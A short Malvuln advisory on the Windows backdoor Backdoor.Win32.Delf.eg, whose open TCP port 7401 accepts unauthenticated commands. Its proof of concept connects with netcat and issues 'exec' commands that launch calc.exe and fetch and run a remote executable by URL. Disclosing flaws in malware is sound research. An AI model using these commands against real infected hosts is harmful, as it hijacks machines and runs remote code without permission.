Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: https://malvuln.com/advisory/de6220a8e8fcbbee9763fb10e0ca23d7.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Delf.eg Vulnerability: Unauthenticated Remote Command Execution Description: The malware listens on TCP port 7401. Third-party adversarys who can reach infected systems can issue commands made available by the backdoor. Call "exec" plus the program name, to launch the victims browser you add URL after exec and so forth. Family: Delf Type: PE32 MD5: de6220a8e8fcbbee9763fb10e0ca23d7 Vuln ID: MVID-2022-0647 Disclosure: 10/02/2022 Exploit/PoC: C:\>nc64.exe x.x.x.x 7401 Warning exec calc.exe 42 exec https://www.malvuln.com/DOOM.exe 42 QUIT 221 Merci d'avoir utilisΘ Under7 version 4.3, crΘe par Liquid Snake Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).